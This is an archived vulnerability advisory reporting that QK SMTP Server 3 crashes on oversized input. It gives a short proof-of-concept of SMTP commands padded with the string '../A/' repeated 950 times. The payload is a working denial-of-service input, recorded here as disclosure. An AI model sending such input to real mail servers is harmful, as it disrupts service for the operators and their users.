TUCoPS :: HP Unsorted Q

TUCoPS :: HP Unsorted Q :: bx1067.htm
QK SMTP Server 3 - Denial of service

QK SMTP Server 3 - Denial of service QK SMTP Server 3 - Denial of service


Apparently this SMTP server crashes when creating a mail poorly trained causing a denial of service.

Proof-of-concept

HELO ../A/ * 950
MAIL FROM: ../A/ * 950
RCPT TO: ../A/ * 950
data
../A/ * 950
.

Juan Pablo Lopez Yacubian
http://fuzzertina.blogspot.com/